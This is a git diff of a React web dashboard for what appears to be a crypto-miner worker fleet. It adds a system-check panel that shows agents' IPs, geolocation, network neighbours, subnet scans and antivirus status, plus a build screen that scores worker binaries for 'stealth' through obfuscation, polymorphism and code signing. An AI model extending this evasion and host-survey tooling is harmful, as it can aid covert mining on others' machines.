||||||
|
margin-bottom: 0.5rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.syscheck-errors {
|
||||||
|
margin-top: 0.75rem;
|
||||||
|
color: #f87171;
|
||||||
|
font-size: 0.78rem;
|
||||||
|
}
|
||||||
247
server/web/src/components/Fleet/FullSysCheckPanel.tsx
Normal file
247
server/web/src/components/Fleet/FullSysCheckPanel.tsx
Normal file
@@ -0,0 +1,247 @@
|
|||||||
|
import type { ReactNode } from 'react';
|
||||||
|
import type { FullSysCheckReport } from '../../types/syscheck';
|
||||||
|
import './FullSysCheckPanel.css';
|
||||||
|
|
||||||
|
function Row({ label, value }: { label: string; value: ReactNode }) {
|
||||||
|
if (value === undefined || value === null || value === '') return null;
|
||||||
|
return (
|
||||||
|
<div className="syscheck-kv">
|
||||||
|
<span className="syscheck-k">{label}</span>
|
||||||
|
<span className="syscheck-v">{value}</span>
|
||||||
|
</div>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
function Section({ title, children }: { title: string; children: ReactNode }) {
|
||||||
|
return (
|
||||||
|
<section className="syscheck-section">
|
||||||
|
<h4 className="syscheck-section-title font-tech">{title}</h4>
|
||||||
|
<div className="syscheck-section-body">{children}</div>
|
||||||
|
</section>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
function BoolBadge({ v, yes = 'YES', no = 'NO' }: { v?: boolean; yes?: string; no?: string }) {
|
||||||
|
if (v === undefined) return <span className="syscheck-muted">—</span>;
|
||||||
|
return <span className={v ? 'syscheck-ok' : 'syscheck-bad'}>{v ? yes : no}</span>;
|
||||||
|
}
|
||||||
|
|
||||||
|
export default function FullSysCheckPanel({
|
||||||
|
report,
|
||||||
|
agentName,
|
||||||
|
onClose,
|
||||||
|
}: {
|
||||||
|
report: FullSysCheckReport;
|
||||||
|
agentName: string;
|
||||||
|
onClose?: () => void;
|
||||||
|
}) {
|
||||||
|
const geo = report.network?.geo;
|
||||||
|
const geoLine =
|
||||||
|
geo &&
|
||||||
|
[geo.city, geo.region, geo.country].filter(Boolean).join(', ') +
|
||||||
|
(geo.isp ? ` · ${geo.isp}` : '') +
|
||||||
|
(geo.lat != null && geo.lon != null ? ` (${geo.lat.toFixed(2)}, ${geo.lon.toFixed(2)})` : '');
|
||||||
|
|
||||||
|
return (
|
||||||
|
<div className="syscheck-panel">
|
||||||
|
<div className="syscheck-header">
|
||||||
|
<div>
|
||||||
|
<h3 className="font-display">Full System Check</h3>
|
||||||
|
<p className="syscheck-sub font-tech">
|
||||||
|
{agentName} · {report.generated_at} · {report.platform}/{report.arch}
|
||||||
|
</p>
|
||||||
|
</div>
|
||||||
|
{onClose && (
|
||||||
|
<button type="button" className="btn btn-outline btn-sm" onClick={onClose}>
|
||||||
|
Close
|
||||||
|
</button>
|
||||||
|
)}
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div className="syscheck-grid">
|
||||||
|
<Section title="Network & Location">
|
||||||
|
<Row label="External IP" value={report.network?.external_ip} />
|
||||||
|
<Row label="IP Source" value={report.network?.external_ip_source} />
|
||||||
|
<Row label="Location" value={geoLine} />
|
||||||
|
<Row label="Primary LAN IP" value={report.network?.primary_local_ip} />
|
||||||
|
<Row label="Default Gateway" value={report.network?.default_gateway} />
|
||||||
|
<Row label="DNS" value={report.network?.dns?.servers?.join(', ')} />
|
||||||
|
<Row label="DNS Search" value={report.network?.dns?.search_domains?.join(', ')} />
|
||||||
|
<Row label="ARP Neighbors" value={report.neighbors?.arp_count != null ? `${report.neighbors.arp_count} host(s)` : undefined} />
|
||||||
|
{report.neighbors?.arp_hosts && report.neighbors.arp_hosts.length > 0 && (
|
||||||
|
<pre className="syscheck-pre">{report.neighbors.arp_hosts.join('\n')}</pre>
|
||||||
|
)}
|
||||||
|
{report.neighbors?.subnet_scan && (
|
||||||
|
<>
|
||||||
|
<div className="syscheck-k syscheck-subhead">Subnet scan</div>
|
||||||
|
<pre className="syscheck-pre">{report.neighbors.subnet_scan}</pre>
|
||||||
|
</>
|
||||||
|
)}
|
||||||
|
</Section>
|
||||||
|
|
||||||
|
<Section title="Security & Firewall">
|
||||||
|
<Row
|
||||||
|
label="Posture Score"
|
||||||
|
value={
|
||||||
|
report.security?.posture_score != null ? (
|
||||||
|
<span className="syscheck-score">{report.security.posture_score} / 100</span>
|
||||||
|
) : undefined
|
||||||
|
}
|
||||||
|
/>
|
||||||
|
<Row label="Defender" value={<BoolBadge v={report.security?.defender_enabled} yes="ON" no="OFF" />} />
|
||||||
|
<Row label="Real-time" value={<BoolBadge v={report.security?.defender_rtp} yes="ON" no="OFF" />} />
|
||||||
|
<Row
|
||||||
|
label="Firewall D / P / Pub"
|
||||||
|
value={
|
||||||
|
<>
|
||||||
|
<BoolBadge v={report.security?.firewall_domain} yes="on" no="off" /> /{' '}
|
||||||
|
<BoolBadge v={report.security?.firewall_private} yes="on" no="off" /> /{' '}
|
||||||
|
<BoolBadge v={report.security?.firewall_public} yes="on" no="off" />
|
||||||
|
</>
|
||||||
|
}
|
||||||
|
/>
|
||||||
|
<Row label="AV Products" value={report.security?.av_products?.join(', ')} />
|
||||||
|
<Row label="SSH" value={<BoolBadge v={report.security?.ssh_listening} />} />
|
||||||
|
<Row label="Elevated" value={<BoolBadge v={report.identity?.agent_elevated} yes="ADMIN" no="user" />} />
|
||||||
|
<Row label="Pending Updates" value={report.security?.pending_updates} />
|
||||||
|
<Row
|
||||||
|
label="Last Patch"
|
||||||
|
value={
|
||||||
|
report.security?.last_patch
|
||||||
|
? `${report.security.last_patch}${report.security.last_patch_days != null ? ` (${report.security.last_patch_days}d)` : ''}`
|
||||||
|
: undefined
|
||||||
|
}
|
||||||
|
/>
|
||||||
|
<Row label="Reboot Pending" value={<BoolBadge v={report.security?.reboot_pending} />} />
|
||||||
|
</Section>
|
||||||
|
|
||||||
|
<Section title="Hardware">
|
||||||
|
<Row label="System" value={[report.hardware?.manufacturer, report.hardware?.model].filter(Boolean).join(' ')} />
|
||||||
|
<Row label="Serial / BIOS" value={[report.hardware?.serial, report.hardware?.bios_version].filter(Boolean).join(' · ')} />
|
||||||
|
<Row label="RAM" value={report.hardware?.memory_gb != null ? `${report.hardware.memory_gb} GB` : undefined} />
|
||||||
|
<Row label="Uptime" value={report.hardware?.uptime_hours != null ? `${report.hardware.uptime_hours} h` : undefined} />
|
||||||
|
{report.hardware?.cpus?.map((c, i) => (
|
||||||
|
<Row
|
||||||
|
key={i}
|
||||||
|
label={`CPU ${i + 1}`}
|
||||||
|
value={`${c.name ?? 'CPU'} · ${c.cores ?? '?'}c/${c.logical ?? '?'}t · ${c.current_mhz ?? '?'}/${c.max_mhz ?? '?'} MHz`}
|
||||||
|
/>
|
||||||
|
))}
|
||||||
|
{report.hardware?.gpus?.map((g, i) => (
|
||||||
|
<Row key={i} label={`GPU ${i + 1}`} value={`${g.name ?? 'GPU'} · driver ${g.driver ?? '—'} · ${g.vram_mb ?? 0} MB`} />
|
||||||
|
))}
|
||||||
|
{report.hardware?.disks?.map((d, i) => (
|
||||||
|
<Row
|
||||||
|
key={i}
|
||||||
|
label={`Disk ${d.mount ?? i}`}
|
||||||
|
value={`${d.free_gb ?? '?'} / ${d.total_gb ?? '?'} GB free (${d.free_pct ?? '?'}%) ${d.fs_type ?? ''}`}
|
||||||
|
/>
|
||||||
|
))}
|
||||||
|
</Section>
|
||||||
|
|
||||||
|
<Section title="Identity & Agent">
|
||||||
|
<Row label="Hostname" value={report.hostname} />
|
||||||
|
<Row label="OS" value={report.os_version} />
|
||||||
|
<Row label="User" value={report.identity?.username} />
|
||||||
|
<Row label="Domain" value={report.identity?.domain} />
|
||||||
|
<Row label="Computer" value={report.identity?.computer_name} />
|
||||||
|
<Row label="MAC" value={report.identity?.mac_address} />
|
||||||
|
<Row label="Worker / Build" value={`${report.worker_name ?? '—'} / ${report.build_id ?? '—'}`} />
|
||||||
|
<Row label="Install Dir" value={report.environment?.install_dir} />
|
||||||
|
</Section>
|
||||||
|
|
||||||
|
<Section title="Live Resources">
|
||||||
|
<Row label="CPU Freq" value={report.resources?.cpu_freq_mhz != null ? `${report.resources.cpu_freq_mhz} MHz` : undefined} />
|
||||||
|
<Row label="Throttle" value={<BoolBadge v={report.resources?.cpu_throttle} yes="YES" no="no" />} />
|
||||||
|
<Row label="CPU Temp" value={report.resources?.cpu_temp_c != null ? `${report.resources.cpu_temp_c}°C` : undefined} />
|
||||||
|
<Row
|
||||||
|
label="Disk (miner vol)"
|
||||||
|
value={
|
||||||
|
report.resources?.disk_free_pct != null
|
||||||
|
? `${report.resources.disk_free_gb} / ${report.resources.disk_total_gb} GB (${report.resources.disk_free_pct}%)`
|
||||||
|
: undefined
|
||||||
|
}
|
||||||
|
/>
|
||||||
|
<Row label="GPU" value={report.resources?.gpu_usage_pct != null ? `${report.resources.gpu_usage_pct}% · ${report.resources.gpu_temp_c ?? '?'}°C` : undefined} />
|
||||||
|
</Section>
|
||||||
|
|
||||||
|
<Section title="Listeners">
|
||||||
|
<Row label="Open TCP ports" value={report.listen_ports?.count} />
|
||||||
|
{report.listen_ports?.ports && report.listen_ports.ports.length > 0 && (
|
||||||
|
<div className="syscheck-table-wrap">
|
||||||
|
<table className="syscheck-table">
|
||||||
|
<thead>
|
||||||
|
<tr>
|
||||||
|
<th>Port</th>
|
||||||
|
<th>Bind</th>
|
||||||
|
<th>Process</th>
|
||||||
|
</tr>
|
||||||
|
</thead>
|
||||||
|
<tbody>
|
||||||
|
{report.listen_ports.ports.slice(0, 40).map((p, i) => (
|
||||||
|
<tr key={i}>
|
||||||
|
<td>{p.port}</td>
|
||||||
|
<td>{p.addr}</td>
|
||||||
|
<td>{p.process || p.pid}</td>
|
||||||
|
</tr>
|
||||||
|
))}
|
||||||
|
</tbody>
|
||||||
|
</table>
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
|
</Section>
|
||||||
|
|
||||||
|
<Section title="Interfaces">
|
||||||
|
{report.network?.interfaces?.map((iface, i) => (
|
||||||
|
<div key={i} className="syscheck-iface">
|
||||||
|
<strong>{iface.name}</strong> {iface.mac && <span className="syscheck-muted"> {iface.mac}</span>}
|
||||||
|
{iface.ipv4?.map((ip) => (
|
||||||
|
<div key={ip} className="syscheck-muted">
|
||||||
|
{ip}
|
||||||
|
</div>
|
||||||
|
))}
|
||||||
|
</div>
|
||||||
|
))}
|
||||||
|
{report.network?.routes_summary && (
|
||||||
|
<>
|
||||||
|
<div className="syscheck-k syscheck-subhead">Routes</div>
|
||||||
|
<pre className="syscheck-pre">{report.network.routes_summary}</pre>
|
||||||
|
</>
|
||||||
|
)}
|
||||||
|
</Section>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
{(report.raw_sysinfo || report.raw_ipconfig || report.raw_netstat) && (
|
||||||
|
<details className="syscheck-raw">
|
||||||
|
<summary className="font-tech">Raw dumps (sysinfo / ipconfig / netstat)</summary>
|
||||||
|
{report.raw_sysinfo && (
|
||||||
|
<>
|
||||||
|
<div className="syscheck-k">systeminfo / uname</div>
|
||||||
|
<pre className="syscheck-pre">{report.raw_sysinfo}</pre>
|
||||||
|
</>
|
||||||
|
)}
|
||||||
|
{report.raw_ipconfig && (
|
||||||
|
<>
|
||||||
|
<div className="syscheck-k">ipconfig / ip addr</div>
|
||||||
|
<pre className="syscheck-pre">{report.raw_ipconfig}</pre>
|
||||||
|
</>
|
||||||
|
)}
|
||||||
|
{report.raw_netstat && (
|
||||||
|
<>
|
||||||
|
<div className="syscheck-k">netstat</div>
|
||||||
|
<pre className="syscheck-pre">{report.raw_netstat}</pre>
|
||||||
|
</>
|
||||||
|
)}
|
||||||
|
</details>
|
||||||
|
)}
|
||||||
|
|
||||||
|
{report.probe_errors && report.probe_errors.length > 0 && (
|
||||||
|
<div className="syscheck-errors">
|
||||||
|
{report.probe_errors.map((e, i) => (
|
||||||
|
<div key={i}>{e}</div>
|
||||||
|
))}
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
|
</div>
|
||||||
|
);
|
||||||
|
}
|
||||||
221
server/web/src/components/Forge/ForgeDispenseReveal.css
Normal file
221
server/web/src/components/Forge/ForgeDispenseReveal.css
Normal file
@@ -0,0 +1,221 @@
|
|||||||
|
.forge-dispense-backdrop {
|
||||||
|
position: fixed;
|
||||||
|
inset: 0;
|
||||||
|
z-index: 1200;
|
||||||
|
display: flex;
|
||||||
|
align-items: center;
|
||||||
|
justify-content: center;
|
||||||
|
background: rgba(4, 8, 18, 0.82);
|
||||||
|
backdrop-filter: blur(8px);
|
||||||
|
animation: forge-dispense-fade 0.4s ease;
|
||||||
|
}
|
||||||
|
|
||||||
|
.forge-dispense-panel {
|
||||||
|
position: relative;
|
||||||
|
max-width: 420px;
|
||||||
|
width: 92%;
|
||||||
|
padding: 2rem 1.75rem 1.5rem;
|
||||||
|
border-radius: 16px;
|
||||||
|
border: 1px solid rgba(120, 200, 255, 0.35);
|
||||||
|
background: linear-gradient(165deg, rgba(12, 22, 42, 0.97), rgba(6, 12, 28, 0.98));
|
||||||
|
box-shadow:
|
||||||
|
0 0 60px rgba(80, 160, 255, 0.15),
|
||||||
|
inset 0 1px 0 rgba(255, 255, 255, 0.06);
|
||||||
|
text-align: center;
|
||||||
|
animation: forge-dispense-rise 0.55s cubic-bezier(0.22, 1, 0.36, 1);
|
||||||
|
}
|
||||||
|
|
||||||
|
.forge-dispense-sigil {
|
||||||
|
width: 72px;
|
||||||
|
height: 72px;
|
||||||
|
margin: 0 auto 1rem;
|
||||||
|
border-radius: 50%;
|
||||||
|
background:
|
||||||
|
radial-gradient(circle at 50% 50%, rgba(100, 200, 255, 0.25), transparent 55%),
|
||||||
|
conic-gradient(
|
||||||
|
from 0deg,
|
||||||
|
rgba(100, 180, 255, 0.5),
|
||||||
|
rgba(180, 120, 255, 0.4),
|
||||||
|
rgba(100, 200, 255, 0.5)
|
||||||
|
);
|
||||||
|
mask: radial-gradient(circle, transparent 38%, black 39%);
|
||||||
|
animation: forge-dispense-spin 12s linear infinite;
|
||||||
|
}
|
||||||
|
|
||||||
|
.forge-dispense-title {
|
||||||
|
margin: 0 0 0.35rem;
|
||||||
|
font-size: 1.5rem;
|
||||||
|
letter-spacing: 0.12em;
|
||||||
|
text-transform: uppercase;
|
||||||
|
color: #b8e4ff;
|
||||||
|
}
|
||||||
|
|
||||||
|
.forge-dispense-sub {
|
||||||
|
margin: 0 0 1.25rem;
|
||||||
|
font-size: 0.9rem;
|
||||||
|
color: rgba(200, 220, 255, 0.75);
|
||||||
|
line-height: 1.45;
|
||||||
|
}
|
||||||
|
|
||||||
|
.forge-dispense-shield {
|
||||||
|
display: flex;
|
||||||
|
align-items: center;
|
||||||
|
justify-content: center;
|
||||||
|
gap: 1rem;
|
||||||
|
margin-bottom: 1.25rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.forge-dispense-shield-ring {
|
||||||
|
--shield-pct: 50%;
|
||||||
|
width: 88px;
|
||||||
|
height: 88px;
|
||||||
|
border-radius: 50%;
|
||||||
|
display: flex;
|
||||||
|
align-items: center;
|
||||||
|
justify-content: center;
|
||||||
|
background: conic-gradient(
|
||||||
|
#3d9eff calc(var(--shield-pct) * 1%),
|
||||||
|
rgba(60, 80, 120, 0.35) 0
|
||||||
|
);
|
||||||
|
position: relative;
|
||||||
|
}
|
||||||
|
|
||||||
|
.forge-dispense-shield-ring::before {
|
||||||
|
content: '';
|
||||||
|
position: absolute;
|
||||||
|
inset: 6px;
|
||||||
|
border-radius: 50%;
|
||||||
|
background: rgba(8, 14, 28, 0.95);
|
||||||
|
}
|
||||||
|
|
||||||
|
.forge-dispense-shield-value {
|
||||||
|
position: relative;
|
||||||
|
z-index: 1;
|
||||||
|
font-size: 1.75rem;
|
||||||
|
font-weight: 700;
|
||||||
|
color: #7ec8ff;
|
||||||
|
}
|
||||||
|
|
||||||
|
.forge-dispense-shield-label {
|
||||||
|
text-align: left;
|
||||||
|
display: flex;
|
||||||
|
flex-direction: column;
|
||||||
|
gap: 0.2rem;
|
||||||
|
font-size: 0.85rem;
|
||||||
|
color: rgba(180, 210, 255, 0.9);
|
||||||
|
}
|
||||||
|
|
||||||
|
.forge-dispense-shield-hint {
|
||||||
|
font-size: 0.72rem;
|
||||||
|
opacity: 0.65;
|
||||||
|
}
|
||||||
|
|
||||||
|
.forge-dispense-dna {
|
||||||
|
margin-bottom: 1rem;
|
||||||
|
padding: 0.75rem;
|
||||||
|
border-radius: 10px;
|
||||||
|
background: rgba(0, 0, 0, 0.25);
|
||||||
|
border: 1px solid rgba(100, 160, 255, 0.2);
|
||||||
|
}
|
||||||
|
|
||||||
|
.forge-dispense-dna-label {
|
||||||
|
display: block;
|
||||||
|
font-size: 0.7rem;
|
||||||
|
letter-spacing: 0.15em;
|
||||||
|
text-transform: uppercase;
|
||||||
|
color: rgba(150, 200, 255, 0.7);
|
||||||
|
margin-bottom: 0.35rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.forge-dispense-dna-hash {
|
||||||
|
font-size: 0.95rem;
|
||||||
|
color: #9ee0ff;
|
||||||
|
letter-spacing: 0.08em;
|
||||||
|
}
|
||||||
|
|
||||||
|
.forge-dispense-dna-bars {
|
||||||
|
display: flex;
|
||||||
|
align-items: flex-end;
|
||||||
|
justify-content: center;
|
||||||
|
gap: 3px;
|
||||||
|
height: 48px;
|
||||||
|
margin-top: 0.6rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.forge-dispense-dna-bar {
|
||||||
|
width: 6px;
|
||||||
|
min-height: 4px;
|
||||||
|
border-radius: 2px 2px 0 0;
|
||||||
|
background: linear-gradient(180deg, #6eb8ff, #3a6a9e);
|
||||||
|
opacity: 0.85;
|
||||||
|
animation: forge-dispense-bar 0.6s ease backwards;
|
||||||
|
}
|
||||||
|
|
||||||
|
.forge-dispense-dna-bar:nth-child(odd) {
|
||||||
|
animation-delay: 0.05s;
|
||||||
|
}
|
||||||
|
|
||||||
|
.forge-dispense-layers {
|
||||||
|
list-style: none;
|
||||||
|
margin: 0 0 1.25rem;
|
||||||
|
padding: 0;
|
||||||
|
display: flex;
|
||||||
|
flex-wrap: wrap;
|
||||||
|
gap: 0.4rem;
|
||||||
|
justify-content: center;
|
||||||
|
}
|
||||||
|
|
||||||
|
.forge-dispense-layers li {
|
||||||
|
font-size: 0.72rem;
|
||||||
|
padding: 0.25rem 0.55rem;
|
||||||
|
border-radius: 999px;
|
||||||
|
border: 1px solid rgba(80, 120, 180, 0.35);
|
||||||
|
color: rgba(140, 160, 200, 0.7);
|
||||||
|
}
|
||||||
|
|
||||||
|
.forge-dispense-layers li.on {
|
||||||
|
border-color: rgba(100, 200, 255, 0.55);
|
||||||
|
color: #a8dcff;
|
||||||
|
box-shadow: 0 0 12px rgba(80, 160, 255, 0.2);
|
||||||
|
}
|
||||||
|
|
||||||
|
.forge-dispense-actions {
|
||||||
|
display: flex;
|
||||||
|
flex-direction: column;
|
||||||
|
gap: 0.5rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
@keyframes forge-dispense-fade {
|
||||||
|
from {
|
||||||
|
opacity: 0;
|
||||||
|
}
|
||||||
|
to {
|
||||||
|
opacity: 1;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@keyframes forge-dispense-rise {
|
||||||
|
from {
|
||||||
|
opacity: 0;
|
||||||
|
transform: translateY(24px) scale(0.96);
|
||||||
|
}
|
||||||
|
to {
|
||||||
|
opacity: 1;
|
||||||
|
transform: translateY(0) scale(1);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@keyframes forge-dispense-spin {
|
||||||
|
to {
|
||||||
|
transform: rotate(360deg);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@keyframes forge-dispense-bar {
|
||||||
|
from {
|
||||||
|
transform: scaleY(0);
|
||||||
|
}
|
||||||
|
to {
|
||||||
|
transform: scaleY(1);
|
||||||
|
}
|
||||||
|
}
|
||||||
91
server/web/src/components/Forge/ForgeDispenseReveal.tsx
Normal file
91
server/web/src/components/Forge/ForgeDispenseReveal.tsx
Normal file
@@ -0,0 +1,91 @@
|
|||||||
|
import { useEffect } from 'react';
|
||||||
|
import type { BuildResponse } from '../../types';
|
||||||
|
import { useSound } from '../../context/SoundContext';
|
||||||
|
import DownloadButton from '../DownloadButton';
|
||||||
|
import './ForgeDispenseReveal.css';
|
||||||
|
|
||||||
|
interface Props {
|
||||||
|
result: BuildResponse;
|
||||||
|
onClose: () => void;
|
||||||
|
}
|
||||||
|
|
||||||
|
function dnaBars(fingerprint?: string): number[] {
|
||||||
|
const raw = fingerprint || 'aetherforge';
|
||||||
|
const bars: number[] = [];
|
||||||
|
for (let i = 0; i < 24; i++) {
|
||||||
|
const c = raw.charCodeAt(i % raw.length);
|
||||||
|
bars.push(12 + ((c * (i + 3)) % 88));
|
||||||
|
}
|
||||||
|
return bars;
|
||||||
|
}
|
||||||
|
|
||||||
|
export default function ForgeDispenseReveal({ result, onClose }: Props) {
|
||||||
|
const { play } = useSound();
|
||||||
|
const score = result.stealth_score ?? 0;
|
||||||
|
const bars = dnaBars(result.binary_fingerprint);
|
||||||
|
|
||||||
|
useEffect(() => {
|
||||||
|
play('success');
|
||||||
|
}, [play]);
|
||||||
|
|
||||||
|
return (
|
||||||
|
<div className="forge-dispense-backdrop" role="dialog" aria-labelledby="forge-dispense-title">
|
||||||
|
<div className="forge-dispense-panel">
|
||||||
|
<div className="forge-dispense-sigil" aria-hidden />
|
||||||
|
<h2 id="forge-dispense-title" className="forge-dispense-title">
|
||||||
|
Dispensed
|
||||||
|
</h2>
|
||||||
|
<p className="forge-dispense-sub">
|
||||||
|
{result.file_name || 'Your worker'} is ready — each forge carries a unique binary signature.
|
||||||
|
</p>
|
||||||
|
|
||||||
|
<div className="forge-dispense-shield">
|
||||||
|
<div
|
||||||
|
className="forge-dispense-shield-ring"
|
||||||
|
style={{ ['--shield-pct' as string]: `${score}%` }}
|
||||||
|
>
|
||||||
|
<span className="forge-dispense-shield-value">{score}</span>
|
||||||
|
</div>
|
||||||
|
<div className="forge-dispense-shield-label">
|
||||||
|
<span>Stealth index</span>
|
||||||
|
<span className="forge-dispense-shield-hint">Polymorph · Garble · Sigil · Sign</span>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
{result.binary_fingerprint && (
|
||||||
|
<div className="forge-dispense-dna">
|
||||||
|
<span className="forge-dispense-dna-label">Binary DNA</span>
|
||||||
|
<code className="forge-dispense-dna-hash">{result.binary_fingerprint}</code>
|
||||||
|
<div className="forge-dispense-dna-bars" aria-hidden>
|
||||||
|
{bars.map((h, i) => (
|
||||||
|
<span key={i} className="forge-dispense-dna-bar" style={{ height: `${h}%` }} />
|
||||||
|
))}
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
|
|
||||||
|
<ul className="forge-dispense-layers">
|
||||||
|
<li className={result.obfuscated ? 'on' : ''}>Garble obfuscation</li>
|
||||||
|
<li className={result.sigil_scramble ? 'on' : ''}>Sigil scramble</li>
|
||||||
|
<li className={result.signed ? 'on' : ''}>Authenticode sign</li>
|
||||||
|
<li className="on">Polymorph weave</li>
|
||||||
|
</ul>
|
||||||
|
|
||||||
|
<div className="forge-dispense-actions">
|
||||||
|
{result.download_url && result.file_name && (
|
||||||
|
<DownloadButton
|
||||||
|
apiPath={result.download_url}
|
||||||
|
filename={result.file_name}
|
||||||
|
className="btn btn-primary"
|
||||||
|
>
|
||||||
|
↓ Take the forge
|
||||||
|
</DownloadButton>
|
||||||
|
)}
|
||||||
|
<button type="button" className="btn btn-outline" onClick={onClose}>
|
||||||
|
Continue forging
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
);
|
||||||
|
}
|
||||||
@@ -442,39 +442,4 @@
|
|||||||
z-index: 1;
|
z-index: 1;
|
||||||
}
|
}
|
||||||
|
|
||||||
@media (max-width: 768px) {
|
/* Mobile layout: bottom nav + top bar — see MobileNav.css and layout--mobile */
|
||||||
.sidebar {
|
|
||||||
width: 72px;
|
|
||||||
}
|
|
||||||
|
|
||||||
.logo-text-block,
|
|
||||||
.nav-label,
|
|
||||||
.fleet-readout,
|
|
||||||
.sidebar-sig,
|
|
||||||
.matrix-rain-wrap {
|
|
||||||
display: none;
|
|
||||||
}
|
|
||||||
|
|
||||||
.sidebar-header {
|
|
||||||
padding: 1rem 0.5rem;
|
|
||||||
justify-content: center;
|
|
||||||
}
|
|
||||||
|
|
||||||
.logo {
|
|
||||||
justify-content: center;
|
|
||||||
}
|
|
||||||
|
|
||||||
.nav-item {
|
|
||||||
justify-content: center;
|
|
||||||
padding: 0.85rem;
|
|
||||||
}
|
|
||||||
|
|
||||||
.main-with-status {
|
|
||||||
margin-left: 72px;
|
|
||||||
}
|
|
||||||
|
|
||||||
.main-content {
|
|
||||||
margin-left: 0;
|
|
||||||
padding: 1rem;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|||||||
@@ -3,10 +3,18 @@ import { NavLink, useLocation } from 'react-router-dom';
|
|||||||
import AmbientBackground from '../Ambient/AmbientBackground';
|
import AmbientBackground from '../Ambient/AmbientBackground';
|
||||||
import SystemStatusBar from '../Visual/SystemStatusBar';
|
import SystemStatusBar from '../Visual/SystemStatusBar';
|
||||||
import { useWebSocket } from '../../hooks/useWebSocket';
|
import { useWebSocket } from '../../hooks/useWebSocket';
|
||||||
|
import { useIsMobileLayout } from '../../hooks/useMediaQuery';
|
||||||
import MatrixRain from './MatrixRain';
|
import MatrixRain from './MatrixRain';
|
||||||
import afLogo from '../../assets/af-logo.png';
|
import afLogo from '../../assets/af-logo.png';
|
||||||
import CursorFire from '../Visual/CursorFire';
|
import CursorFire from '../Visual/CursorFire';
|
||||||
|
import SacredGeometryLayer from '../Visual/sacredGeometry/SacredGeometryLayer';
|
||||||
|
import { SacredMotif } from '../Visual/sacredGeometry/motifs';
|
||||||
|
import SetupBanner from '../SetupBanner';
|
||||||
|
import { getSetupStatus } from '../../help/setupStatus';
|
||||||
|
import { api } from '../../api/client';
|
||||||
|
import type { ServerConfig } from '../../types';
|
||||||
import './Layout.css';
|
import './Layout.css';
|
||||||
|
import './MobileNav.css';
|
||||||
|
|
||||||
interface LayoutProps {
|
interface LayoutProps {
|
||||||
children: ReactNode;
|
children: ReactNode;
|
||||||
@@ -20,8 +28,14 @@ const NAV = [
|
|||||||
{ to: '/builds', label: 'Builds', icon: 'builds' },
|
{ to: '/builds', label: 'Builds', icon: 'builds' },
|
||||||
{ to: '/guide', label: 'Field Guide', icon: 'guide' },
|
{ to: '/guide', label: 'Field Guide', icon: 'guide' },
|
||||||
{ to: '/settings', label: 'Calibrate', icon: 'gear' },
|
{ to: '/settings', label: 'Calibrate', icon: 'gear' },
|
||||||
|
{ to: '/pathtracer', label: 'Path Tracer', icon: 'trace' },
|
||||||
] as const;
|
] as const;
|
||||||
|
|
||||||
|
/** Primary tabs on iPhone bottom bar */
|
||||||
|
const MOBILE_PRIMARY = NAV.slice(0, 4);
|
||||||
|
/** Builds, Guide, Calibrate, Path Tracer — “More” sheet */
|
||||||
|
const MOBILE_MORE = NAV.slice(4);
|
||||||
|
|
||||||
function NavIcon({ type }: { type: string }) {
|
function NavIcon({ type }: { type: string }) {
|
||||||
switch (type) {
|
switch (type) {
|
||||||
case 'deck':
|
case 'deck':
|
||||||
@@ -71,6 +85,16 @@ function NavIcon({ type }: { type: string }) {
|
|||||||
<path d="M10 12l1.5 2L14 11" />
|
<path d="M10 12l1.5 2L14 11" />
|
||||||
</svg>
|
</svg>
|
||||||
);
|
);
|
||||||
|
case 'trace':
|
||||||
|
return (
|
||||||
|
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" strokeWidth="1.5">
|
||||||
|
<circle cx="4" cy="12" r="2" />
|
||||||
|
<circle cx="12" cy="6" r="2" />
|
||||||
|
<circle cx="20" cy="12" r="2" />
|
||||||
|
<path d="M6 12h4l2-6 2 6h4" />
|
||||||
|
<path d="M12 8v4" />
|
||||||
|
</svg>
|
||||||
|
);
|
||||||
default:
|
default:
|
||||||
return (
|
return (
|
||||||
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" strokeWidth="1.5">
|
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" strokeWidth="1.5">
|
||||||
@@ -135,14 +159,59 @@ function FleetReadout() {
|
|||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
function MobileTopStats() {
|
||||||
|
const { agents } = useWebSocket();
|
||||||
|
const online = agents.filter((a) => a.status === 'online').length;
|
||||||
|
const total = agents.length;
|
||||||
|
const hr = agents.reduce((s, a) => s + (a.hashrate_15s ?? a.hashrate_15m ?? 0), 0);
|
||||||
|
return (
|
||||||
|
<div className="mobile-top-stats">
|
||||||
|
<strong>
|
||||||
|
{online}/{total} online
|
||||||
|
</strong>
|
||||||
|
<span>{hr > 0 ? formatHashrate(hr) : 'IDLE'}</span>
|
||||||
|
</div>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
export default function Layout({ children }: LayoutProps) {
|
export default function Layout({ children }: LayoutProps) {
|
||||||
const location = useLocation();
|
const location = useLocation();
|
||||||
|
const isMobile = useIsMobileLayout();
|
||||||
|
const [serverConfig, setServerConfig] = useState<ServerConfig | null>(null);
|
||||||
|
const [moreOpen, setMoreOpen] = useState(false);
|
||||||
|
|
||||||
|
useEffect(() => {
|
||||||
|
api.getConfig().then(setServerConfig).catch(() => {});
|
||||||
|
}, []);
|
||||||
|
|
||||||
|
useEffect(() => {
|
||||||
|
setMoreOpen(false);
|
||||||
|
}, [location.pathname]);
|
||||||
|
|
||||||
|
